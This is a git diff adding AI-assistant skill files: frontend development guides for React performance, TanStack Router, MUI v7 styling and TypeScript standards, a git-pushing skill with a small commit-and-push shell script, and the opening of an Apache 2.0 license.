onSubmit={handleSubmit(onSubmit)}> + <input {...register('username')} /> + <input {...register('email')} /> + <input {...register('password')} /> + + {/* Only re-renders when username/email change */} + <p>Username: {username}, Email: {email}</p> + </form> + ); +}; +``` + +--- + +## List Rendering Optimization + +### Key Prop Usage + +```typescript +// ✅ CORRECT - Stable unique keys +{items.map(item => ( + <ListItem key={item.id}> + {item.name} + </ListItem> +))} + +// ❌ AVOID - Index as key (unstable if list changes) +{items.map((item, index) => ( + <ListItem key={index}> // WRONG if list reorders + {item.name} + </ListItem> +))} +``` + +### Memoized List Items + +```typescript +const ListItem = React.memo<ListItemProps>(({ item, onAction }) => { + return ( + <Box onClick={() => onAction(item.id)}> + {item.name} + </Box> + ); +}); + +export const List: React.FC<{ items: Item[] }> = ({ items }) => { + const handleAction = useCallback((id: string) => { + console.log('Action:', id); + }, []); + + return ( + <Box> + {items.map(item => ( + <ListItem + key={item.id} + item={item} + onAction={handleAction} + /> + ))} + </Box> + ); +}; +``` + +--- + +## Preventing Component Re-initialization + +### The Problem + +```typescript +// ❌ AVOID - Component recreated on every render +export const Parent: React.FC = () => { + // New component definition each render! + const ChildComponent = () => <div>Child</div>; + + return <ChildComponent />; // Unmounts and remounts every render +}; +``` + +### The Solution + +```typescript +// ✅ CORRECT - Define outside or use useMemo +const ChildComponent: React.FC = () => <div>Child</div>; + +export const Parent: React.FC = () => { + return <ChildComponent />; // Stable component +}; + +// ✅ OR if dynamic, use useMemo +export const Parent: React.FC<{ config: Config }> = ({ config }) => { + const DynamicComponent = useMemo(() => { + return () => <div>{config.title}</div>; + }, [config.title]); + + return <DynamicComponent />; +}; +``` + +--- + +## Lazy Loading Heavy Dependencies + +### Code Splitting + +```typescript +// ❌ AVOID - Import heavy libraries at top level +import jsPDF from 'jspdf'; // Large library loaded immediately +import * as XLSX from 'xlsx'; // Large library loaded immediately + +// ✅ CORRECT - Dynamic import when needed +const handleExportPDF = async () => { + const { jsPDF } = await import('jspdf'); + const doc = new jsPDF(); + // Use it +}; + +const handleExportExcel = async () => { + const XLSX = await import('xlsx'); + // Use it +}; +``` + +--- + +## Summary + +**Performance Checklist:** +- ✅ `useMemo` for expensive computations (filter, sort, map) +- ✅ `useCallback` for functions passed to children +- ✅ `React.memo` for expensive components +- ✅ Debounce search/filter (300-500ms) +- ✅ Cleanup timeouts/intervals in useEffect +- ✅ Watch specific form fields (not all) +- ✅ Stable keys in lists +- ✅ Lazy load heavy libraries +- ✅ Code splitting with React.lazy + +**See Also:** +- [component-patterns.md](component-patterns.md) - Lazy loading +- [data-fetching.md](data-fetching.md) - TanStack Query optimization +- [complete-examples.md](complete-examples.md) - Performance patterns in context \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/routing-guide.md b/skills/frontend-dev-guidelines/resources/routing-guide.md new file mode 100644 index 00000000..a3b60b55 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/routing-guide.md @@ -0,0 +1,364 @@ +# Routing Guide + +TanStack Router implementation with folder-based routing and lazy loading patterns. + +--- + +## TanStack Router Overview + +**TanStack Router** with file-based routing: +- Folder structure defines routes +- Lazy loading for code splitting +- Type-safe routing +- Breadcrumb loaders + +--- + +## Folder-Based Routing + +### Directory Structure + +``` +routes/ + __root.tsx # Root layout + index.tsx # Home route (/) + posts/ + index.tsx # /posts + create/ + index.tsx # /posts/create + $postId.tsx # /posts/:postId (dynamic) + comments/ + index.tsx # /comments +``` + +**Pattern**: +- `index.tsx` = Route at that path +- `$param.tsx` = Dynamic parameter +- Nested folders = Nested routes + +--- + +## Basic Route Pattern + +### Example from posts/index.tsx + +```typescript +/** + * Posts route component + * Displays the main blog posts list + */ + +import { createFileRoute } from '@tanstack/react-router'; +import { lazy } from 'react'; + +// Lazy load the page component +const PostsList = lazy(() => + import('@/features/posts/components/PostsList').then( + (module) => ({ default: module.PostsList }), + ), +); + +export const Route = createFileRoute('/posts/')({ + component: PostsPage, + // Define breadcrumb data + loader: () => ({ + crumb: 'Posts', + }), +}); + +function PostsPage() { + return ( + <PostsList + title='All Posts' + showFilters={true} + /> + ); +} + +export default PostsPage; +``` + +**Key Points:** +- Lazy load heavy components +- `createFileRoute` with route path +- `loader` for breadcrumb data +- Page component renders content +- Export both Route and component + +--- + +## Lazy Loading Routes + +### Named Export Pattern + +```typescript +import { lazy } from 'react'; + +// For named exports, use .then() to map to default +const MyPage = lazy(() => + import('@/features/my-feature/components/MyPage').then( + (module) => ({ default: module.MyPage }) + ) +); +``` + +### Default Export Pattern + +```typescript +import { lazy } from 'react'; + +// For default exports, simpler syntax +const MyPage = lazy(() => import('@/features/my-feature/components/MyPage')); +``` + +### Why Lazy Load Routes? + +- Code splitting - smaller initial bundle +- Faster initial page load +- Load route code only when navigated to +- Better performance + +--- + +## createFileRoute + +### Basic Configuration + +```typescript +export const Route = createFileRoute('/my-route/')({ + component: MyRoutePage, +}); + +function MyRoutePage() { + return <div>My Route Content</div>; +} +``` + +### With Breadcrumb Loader + +```typescript +export const Route = createFileRoute('/my-route/')({ + component: MyRoutePage, + loader: () => ({ + crumb: 'My Route Title', + }), +}); +``` + +Breadcrumb appears in navigation/app bar automatically. + +### With Data Loader + +```typescript +export const Route = createFileRoute('/my-route/')({ + component: MyRoutePage, + loader: async () => { + // Can prefetch data here + const data = await api.getData(); + return { crumb: 'My Route', data }; + }, +}); +``` + +### With Search Params + +```typescript +export const Route = createFileRoute('/search/')({ + component: SearchPage, + validateSearch: (search: Record<string, unknown>) => { + return { + query: (search.query as string) || '', + page: Number(search.page) || 1, + }; + }, +}); + +function SearchPage() { + const { query, page } = Route.useSearch(); + // Use query and page +} +``` + +--- + +## Dynamic Routes + +### Parameter Routes + +```typescript +// routes/users/$userId.tsx + +export const Route = createFileRoute('/users/$userId')({ + component: UserPage, +}); + +function UserPage() { + const { userId } = Route.useParams(); + + return <UserProfile userId={userId} />; +} +``` + +### Multiple Parameters + +```typescript +// routes/posts/$postId/comments/$commentId.tsx + +export const Route = createFileRoute('/posts/$postId/comments/$commentId')({ + component: CommentPage, +}); + +function CommentPage() { + const { postId, commentId } = Route.useParams(); + + return <CommentEditor postId={postId} commentId={commentId} />; +} +``` + +--- + +## Navigation + +### Programmatic Navigation + +```typescript +import { useNavigate } from '@tanstack/react-router'; + +export const MyComponent: React.FC = () => { + const navigate = useNavigate(); + + const handleClick = () => { + navigate({ to: '/posts' }); + }; + + return <Button onClick={handleClick}>View Posts</Button>; +}; +``` + +### With Parameters + +```typescript +const handleNavigate = () => { + navigate({ + to: '/users/$userId', + params: { userId: '123' }, + }); +}; +``` + +### With Search Params + +```typescript +const handleSearch = () => { + navigate({ + to: '/search', + search: { query: 'test', page: 1 }, + }); +}; +``` + +--- + +## Route Layout Pattern + +### Root Layout (__root.tsx) + +```typescript +import { createRootRoute, Outlet } from '@tanstack/react-router'; +import { Box } from '@mui/material'; +import { CustomAppBar } from '~components/CustomAppBar'; + +export const Route = createRootRoute({ + component: RootLayout, +}); + +function RootLayout() { + return ( + <Box> + <CustomAppBar /> + <Box sx={{ p: 2 }}> + <Outlet /> {/* Child routes render here */} + </Box> + </Box> + ); +} +``` + +### Nested Layouts + +```typescript +// routes/dashboard/index.tsx +export const Route = createFileRoute('/dashboard/')({ + component: DashboardLayout, +}); + +function DashboardLayout() { + return ( + <Box> + <DashboardSidebar /> + <Box sx={{ flex: 1 }}> + <Outlet /> {/* Nested routes */} + </Box> + </Box> + ); +} +``` + +--- + +## Complete Route Example + +```typescript +/** + * User profile route + * Path: /users/:userId + */ + +import { createFileRoute } from '@tanstack/react-router'; +import { lazy } from 'react'; +import { SuspenseLoader } from '~components/SuspenseLoader'; + +// Lazy load heavy component +const UserProfile = lazy(() => + import('@/features/users/components/UserProfile').then( + (module) => ({ default: module.UserProfile }) + ) +); + +export const Route = createFileRoute('/users/$userId')({ + component: UserPage, + loader: () => ({ + crumb: 'User Profile', + }), +}); + +function UserPage() { + const { userId } = Route.useParams(); + + return ( + <SuspenseLoader> + <UserProfile userId={userId} /> + </SuspenseLoader> + ); +} + +export default UserPage; +``` + +--- + +## Summary + +**Routing Checklist:** +- ✅ Folder-based: `routes/my-route/index.tsx` +- ✅ Lazy load components: `React.lazy(() => import())` +- ✅ Use `createFileRoute` with route path +- ✅ Add breadcrumb in `loader` function +- ✅ Wrap in `SuspenseLoader` for loading states +- ✅ Use `Route.useParams()` for dynamic params +- ✅ Use `useNavigate()` for programmatic navigation + +**See Also:** +- [component-patterns.md](component-patterns.md) - Lazy loading patterns +- [loading-and-error-states.md](loading-and-error-states.md) - SuspenseLoader usage +- [complete-examples.md](complete-examples.md) - Full route examples \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/styling-guide.md b/skills/frontend-dev-guidelines/resources/styling-guide.md new file mode 100644 index 00000000..bbf8094a --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/styling-guide.md @@ -0,0 +1,428 @@ +# Styling Guide + +Modern styling patterns for using MUI v7 sx prop, inline styles, and theme integration. + +--- + +## Inline vs Separate Styles + +### Decision Threshold + +**<100 lines: Inline styles at top of component** + +```typescript +import type { SxProps, Theme } from '@mui/material'; + +const componentStyles: Record<string, SxProps<Theme>> = { + container: { + p: 2, + display: 'flex', + flexDirection: 'column', + }, + header: { + mb: 2, + borderBottom: '1px solid', + borderColor: 'divider', + }, + // ... more styles +}; + +export const MyComponent: React.FC = () => { + return ( + <Box sx={componentStyles.container}> + <Box sx={componentStyles.header}> + <h2>Title</h2> + </Box> + </Box> + ); +}; +``` + +**>100 lines: Separate `.styles.ts` file** + +```typescript +// MyComponent.styles.ts +import type { SxProps, Theme } from '@mui/material'; + +export const componentStyles: Record<string, SxProps<Theme>> = { + container: { ... }, + header: { ... }, + // ... 100+ lines of styles +}; + +// MyComponent.tsx +import { componentStyles } from './MyComponent.styles'; + +export const MyComponent: React.FC = () => { + return <Box sx={componentStyles.container}>...</Box>; +}; +``` + +### Real Example: UnifiedForm.tsx + +**Lines 48-126**: 78 lines of inline styles (acceptable) + +```typescript +const formStyles: Record<string, SxProps<Theme>> = { + gridContainer: { + height: '100%', + maxHeight: 'calc(100vh - 220px)', + }, + section: { + height: '100%', + maxHeight: 'calc(100vh - 220px)', + overflow: 'auto', + p: 4, + }, + // ... 15 more style objects +}; +``` + +**Guideline**: User is comfortable with ~80 lines inline. Use your judgment around 100 lines. + +--- + +## sx Prop Patterns + +### Basic Usage + +```typescript +<Box sx={{ p: 2, mb: 3, display: 'flex' }}> + Content +</Box> +``` + +### With Theme Access + +```typescript +<Box + sx={{ + p: 2, + backgroundColor: (theme) => theme.palette.primary.main, + color: (theme) => theme.palette.primary.contrastText, + borderRadius: (theme) => theme.shape.borderRadius, + }} +> + Themed Box +</Box> +``` + +### Responsive Styles + +```typescript +<Box + sx={{ + p: { xs: 1, sm: 2, md: 3 }, + width: { xs: '100%', md: '50%' }, + flexDirection: { xs: 'column', md: 'row' }, + }} +> + Responsive Layout +</Box> +``` + +### Pseudo-Selectors + +```typescript +<Box + sx={{ + p: 2, + '&:hover': { + backgroundColor: 'rgba(0,0,0,0.05)', + }, + '&:active': { + backgroundColor: 'rgba(0,0,0,0.1)', + }, + '& .child-class': { + color: 'primary.main', + }, + }} +> + Interactive Box +</Box> +``` + +--- + +## MUI v7 Patterns + +### Grid Component (v7 Syntax) + +```typescript +import { Grid } from '@mui/material'; + +// ✅ CORRECT - v7 syntax with size prop +<Grid container spacing={2}> + <Grid size={{ xs: 12, md: 6 }}> + Left Column + </Grid> + <Grid size={{ xs: 12, md: 6 }}> + Right Column + </Grid> +</Grid> + +// ❌ WRONG - Old v6 syntax +<Grid container spacing={2}> + <Grid xs={12} md={6}> {/* OLD - Don't use */} + Content + </Grid> +</Grid> +``` + +**Key Change**: `size={{ xs: 12, md: 6 }}` instead of `xs={12} md={6}` + +### Responsive Grid + +```typescript +<Grid container spacing={3}> + <Grid size={{ xs: 12, sm: 6, md: 4, lg: 3 }}> + Responsive Column + </Grid> +</Grid> +``` + +### Nested Grids + +```typescript +<Grid container spacing={2}> + <Grid size={{ xs: 12, md: 8 }}> + <Grid container spacing={1}> + <Grid size={{ xs: 12, sm: 6 }}> + Nested 1 + </Grid> + <Grid size={{ xs: 12, sm: 6 }}> + Nested 2 + </Grid> + </Grid> + </Grid> + + <Grid size={{ xs: 12, md: 4 }}> + Sidebar + </Grid> +</Grid> +``` + +--- + +## Type-Safe Styles + +### Style Object Type + +```typescript +import type { SxProps, Theme } from '@mui/material'; + +// Type-safe styles +const styles: Record<string, SxProps<Theme>> = { + container: { + p: 2, + // Autocomplete and type checking work here + }, +}; + +// Or individual style +const containerStyle: SxProps<Theme> = { + p: 2, + display: 'flex', +}; +``` + +### Theme-Aware Styles + +```typescript +const styles: Record<string, SxProps<Theme>> = { + primary: { + color: (theme) => theme.palette.primary.main, + backgroundColor: (theme) => theme.palette.primary.light, + '&:hover': { + backgroundColor: (theme) => theme.palette.primary.dark, + }, + }, + customSpacing: { + padding: (theme) => theme.spacing(2), + margin: (theme) => theme.spacing(1, 2), // top/bottom: 1, left/right: 2 + }, +}; +``` + +--- + +## What NOT to Use + +### ❌ makeStyles (MUI v4 pattern) + +```typescript +// ❌ AVOID - Old Material-UI v4 pattern +import { makeStyles } from '@mui/styles'; + +const useStyles = makeStyles((theme) => ({ + root: { + padding: theme.spacing(2), + }, +})); +``` + +**Why avoid**: Deprecated, v7 doesn't support it well + +### ❌ styled() Components + +```typescript +// ❌ AVOID - styled-components pattern +import { styled } from '@mui/material/styles'; + +const StyledBox = styled(Box)(({ theme }) => ({ + padding: theme.spacing(2), +})); +``` + +**Why avoid**: sx prop is more flexible and doesn't create new components + +### ✅ Use sx Prop Instead + +```typescript +// ✅ PREFERRED +<Box + sx={{ + p: 2, + backgroundColor: 'primary.main', + }} +> + Content +</Box> +``` + +--- + +## Code Style Standards + +### Indentation + +**4 spaces** (not 2, not tabs) + +```typescript +const styles: Record<string, SxProps<Theme>> = { + container: { + p: 2, + display: 'flex', + flexDirection: 'column', + }, +}; +``` + +### Quotes + +**Single quotes** for strings (project standard) + +```typescript +// ✅ CORRECT +const color = 'primary.main'; +import { Box } from '@mui/material'; + +// ❌ WRONG +const color = "primary.main"; +import { Box } from "@mui/material"; +``` + +### Trailing Commas + +**Always use trailing commas** in objects and arrays + +```typescript +// ✅ CORRECT +const styles = { + container: { p: 2 }, + header: { mb: 1 }, // Trailing comma +}; + +const items = [ + 'item1', + 'item2', // Trailing comma +]; + +// ❌ WRONG - No trailing comma +const styles = { + container: { p: 2 }, + header: { mb: 1 } // Missing comma +}; +``` + +--- + +## Common Style Patterns + +### Flexbox Layout + +```typescript +const styles = { + flexRow: { + display: 'flex', + flexDirection: 'row', + alignItems: 'center', + gap: 2, + }, + flexColumn: { + display: 'flex', + flexDirection: 'column', + gap: 1, + }, + spaceBetween: { + display: 'flex', + justifyContent: 'space-between', + alignItems: 'center', + }, +}; +``` + +### Spacing + +```typescript +// Padding +p: 2 // All sides +px: 2 // Horizontal (left + right) +py: 2 // Vertical (top + bottom) +pt: 2, pr: 1 // Specific sides + +// Margin +m: 2, mx: 2, my: 2, mt: 2, mr: 1 + +// Units: 1 = 8px (theme.spacing(1)) +p: 2 // = 16px +p: 0.5 // = 4px +``` + +### Positioning + +```typescript +const styles = { + relative: { + position: 'relative', + }, + absolute: { + position: 'absolute', + top: 0, + right: 0, + }, + sticky: { + position: 'sticky', + top: 0, + zIndex: 1000, + }, +}; +``` + +--- + +## Summary + +**Styling Checklist:** +- ✅ Use `sx` prop for MUI styling +- ✅ Type-safe with `SxProps<Theme>` +- ✅ <100 lines: inline; >100 lines: separate file +- ✅ MUI v7 Grid: `size={{ xs: 12 }}` +- ✅ 4 space indentation +- ✅ Single quotes +- ✅ Trailing commas +- ❌ No makeStyles or styled() + +**See Also:** +- [component-patterns.md](component-patterns.md) - Component structure +- [complete-examples.md](complete-examples.md) - Full styling examples \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/typescript-standards.md b/skills/frontend-dev-guidelines/resources/typescript-standards.md new file mode 100644 index 00000000..2b667dd2 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/typescript-standards.md @@ -0,0 +1,418 @@ +# TypeScript Standards + +TypeScript best practices for type safety and maintainability in React frontend code. + +--- + +## Strict Mode + +### Configuration + +TypeScript strict mode is **enabled** in the project: + +```json +// tsconfig.json +{ + "compilerOptions": { + "strict": true, + "noImplicitAny": true, + "strictNullChecks": true + } +} +``` + +**This means:** +- No implicit `any` types +- Null/undefined must be handled explicitly +- Type safety enforced + +--- + +## No `any` Type + +### The Rule + +```typescript +// ❌ NEVER use any +function handleData(data: any) { + return data.something; +} + +// ✅ Use specific types +interface MyData { + something: string; +} + +function handleData(data: MyData) { + return data.something; +} + +// ✅ Or use unknown for truly unknown data +function handleUnknown(data: unknown) { + if (typeof data === 'object' && data !== null && 'something' in data) { + return (data as MyData).something; + } +} +``` + +**If you truly don't know the type:** +- Use `unknown` (forces type checking) +- Use type guards to narrow +- Document why type is unknown + +--- + +## Explicit Return Types + +### Function Return Types + +```typescript +// ✅ CORRECT - Explicit return type +function getUser(id: number): Promise<User> { + return apiClient.get(`/users/${id}`); +} + +function calculateTotal(items: Item[]): number { + return items.reduce((sum, item) => sum + item.price, 0); +} + +// ❌ AVOID - Implicit return type (less clear) +function getUser(id: number) { + return apiClient.get(`/users/${id}`); +} +``` + +### Component Return Types + +```typescript +// React.FC already provides return type (ReactElement) +export const MyComponent: React.FC<Props> = ({ prop }) => { + return <div>{prop}</div>; +}; + +// For custom hooks +function useMyData(id: number): { data: Data; isLoading: boolean } { + const [data, setData] = useState<Data | null>(null); + const [isLoading, setIsLoading] = useState(true); + + return { data: data!, isLoading }; +} +``` + +--- + +## Type Imports + +### Use 'type' Keyword + +```typescript +// ✅ CORRECT - Explicitly mark as type import +import type { User } from '~types/user'; +import type { Post } from '~types/post'; +import type { SxProps, Theme } from '@mui/material'; + +// ❌ AVOID - Mixed value and type imports +import { User } from '~types/user'; // Unclear if type or value +``` + +**Benefits:** +- Clearly separates types from values +- Better tree-shaking +- Prevents circular dependencies +- TypeScript compiler optimization + +--- + +## Component Prop Interfaces + +### Interface Pattern + +```typescript +/** + * Props for MyComponent + */ +interface MyComponentProps { + /** The user ID to display */ + userId: number; + + /** Optional callback when action completes */ + onComplete?: () => void; + + /** Display mode for the component */ + mode?: 'view' | 'edit'; + + /** Additional CSS classes */ + className?: string; +} + +export const MyComponent: React.FC<MyComponentProps> = ({ + userId, + onComplete, + mode = 'view', // Default value + className, +}) => { + return <div>...</div>; +}; +``` + +**Key Points:** +- Separate interface for props +- JSDoc comments for each prop +- Optional props use `?` +- Provide defaults in destructuring + +### Props with Children + +```typescript +interface ContainerProps { + children: React.ReactNode; + title: string; +} + +// React.FC automatically includes children type, but be explicit +export const Container: React.FC<ContainerProps> = ({ children, title }) => { + return ( + <div> + <h2>{title}</h2> + {children} + </div> + ); +}; +``` + +--- + +## Utility Types + +### Partial<T> + +```typescript +// Make all properties optional +type UserUpdate = Partial<User>; + +function updateUser(id: number, updates: Partial<User>) { + // updates can have any subset of User properties +} +``` + +### Pick<T, K> + +```typescript +// Select specific properties +type UserPreview = Pick<User, 'id' | 'name' | 'email'>; + +const preview: UserPreview = { + id: 1, + name: 'John', + email: 'john@example.com', + // Other User properties not allowed +}; +``` + +### Omit<T, K> + +```typescript +// Exclude specific properties +type UserWithoutPassword = Omit<User, 'password' | 'passwordHash'>; + +const publicUser: UserWithoutPassword = { + id: 1, + name: 'John', + email: 'john@example.com', + // password and passwordHash not allowed +}; +``` + +### Required<T> + +```typescript +// Make all properties required +type RequiredConfig = Required<Config>; // All optional props become required +``` + +### Record<K, V> + +```typescript +// Type-safe object/map +const userMap: Record<string, User> = { + 'user1': { id: 1, name: 'John' }, + 'user2': { id: 2, name: 'Jane' }, +}; + +// For styles +import type { SxProps, Theme } from '@mui/material'; + +const styles: Record<string, SxProps<Theme>> = { + container: { p: 2 }, + header: { mb: 1 }, +}; +``` + +--- + +## Type Guards + +### Basic Type Guards + +```typescript +function isUser(data: unknown): data is User { + return ( + typeof data === 'object' && + data !== null && + 'id' in data && + 'name' in data + ); +} + +// Usage +if (isUser(response)) { + console.log(response.name); // TypeScript knows it's User +} +``` + +### Discriminated Unions + +```typescript +type LoadingState = + | { status: 'idle' } + | { status: 'loading' } + | { status: 'success'; data: Data } + | { status: 'error'; error: Error }; + +function Component({ state }: { state: LoadingState }) { + // TypeScript narrows type based on status + if (state.status === 'success') { + return <Display data={state.data} />; // data available here + } + + if (state.status === 'error') { + return <Error error={state.error} />; // error available here + } + + return <Loading />; +} +``` + +--- + +## Generic Types + +### Generic Functions + +```typescript +function getById<T>(items: T[], id: number): T | undefined { + return items.find(item => (item as any).id === id); +} + +// Usage with type inference +const users: User[] = [...]; +const user = getById(users, 123); // Type: User | undefined +``` + +### Generic Components + +```typescript +interface ListProps<T> { + items: T[]; + renderItem: (item: T) => React.ReactNode; +} + +export function List<T>({ items, renderItem }: ListProps<T>): React.ReactElement { + return ( + <div> + {items.map((item, index) => ( + <div key={index}>{renderItem(item)}</div> + ))} + </div> + ); +} + +// Usage +<List<User> + items={users} + renderItem={(user) => <UserCard user={user} />} +/> +``` + +--- + +## Type Assertions (Use Sparingly) + +### When to Use + +```typescript +// ✅ OK - When you know more than TypeScript +const element = document.getElementById('my-element') as HTMLInputElement; +const value = element.value; + +// ✅ OK - API response that you've validated +const response = await api.getData(); +const user = response.data as User; // You know the shape +``` + +### When NOT to Use + +```typescript +// ❌ AVOID - Circumventing type safety +const data = getData() as any; // WRONG - defeats TypeScript + +// ❌ AVOID - Unsafe assertion +const value = unknownValue as string; // Might not actually be string +``` + +--- + +## Null/Undefined Handling + +### Optional Chaining + +```typescript +// ✅ CORRECT +const name = user?.profile?.name; + +// Equivalent to: +const name = user && user.profile && user.profile.name; +``` + +### Nullish Coalescing + +```typescript +// ✅ CORRECT +const displayName = user?.name ?? 'Anonymous'; + +// Only uses default if null or undefined +// (Different from || which triggers on '', 0, false) +``` + +### Non-Null Assertion (Use Carefully) + +```typescript +// ✅ OK - When you're certain value exists +const data = queryClient.getQueryData<Data>(['data'])!; + +// ⚠️ CAREFUL - Only use when you KNOW it's not null +// Better to check explicitly: +const data = queryClient.getQueryData<Data>(['data']); +if (data) { + // Use data +} +``` + +--- + +## Summary + +**TypeScript Checklist:** +- ✅ Strict mode enabled +- ✅ No `any` type (use `unknown` if needed) +- ✅ Explicit return types on functions +- ✅ Use `import type` for type imports +- ✅ JSDoc comments on prop interfaces +- ✅ Utility types (Partial, Pick, Omit, Required, Record) +- ✅ Type guards for narrowing +- ✅ Optional chaining and nullish coalescing +- ❌ Avoid type assertions unless necessary + +**See Also:** +- [component-patterns.md](component-patterns.md) - Component typing +- [data-fetching.md](data-fetching.md) - API typing \ No newline at end of file diff --git a/skills/git-pushing/SKILL.md b/skills/git-pushing/SKILL.md new file mode 100644 index 00000000..218f88e4 --- /dev/null +++ b/skills/git-pushing/SKILL.md @@ -0,0 +1,33 @@ +--- +name: git-pushing +description: Stage, commit, and push git changes with conventional commit messages. Use when user wants to commit and push changes, mentions pushing to remote, or asks to save and push their work. Also activates when user says "push changes", "commit and push", "push this", "push to github", or similar git workflow requests. +--- + +# Git Push Workflow + +Stage all changes, create a conventional commit, and push to the remote branch. + +## When to Use + +Automatically activate when the user: + +- Explicitly asks to push changes ("push this", "commit and push") +- Mentions saving work to remote ("save to github", "push to remote") +- Completes a feature and wants to share it +- Says phrases like "let's push this up" or "commit these changes" + +## Workflow + +**ALWAYS use the script** - do NOT use manual git commands: + +```bash +bash skills/git-pushing/scripts/smart_commit.sh +``` + +With custom message: + +```bash +bash skills/git-pushing/scripts/smart_commit.sh "feat: add feature" +``` + +Script handles: staging, conventional commit message, Claude footer, push with -u flag. diff --git a/skills/git-pushing/scripts/smart_commit.sh b/skills/git-pushing/scripts/smart_commit.sh new file mode 100644 index 00000000..21299873 --- /dev/null +++ b/skills/git-pushing/scripts/smart_commit.sh @@ -0,0 +1,19 @@ +#!/bin/bash +set -e + +# Default commit message if none provided +MESSAGE="${1:-chore: update code}" + +# Add all changes +git add . + +# Commit with the provided message +git commit -m "$MESSAGE" + +# Get current branch name +BRANCH=$(git rev-parse --abbrev-ref HEAD) + +# Push to remote, setting upstream if needed +git push -u origin "$BRANCH" + +echo "✅ Successfully pushed to $BRANCH" diff --git a/skills/internal-comms/LICENSE.txt b/skills/internal-comms/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/internal-comms/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 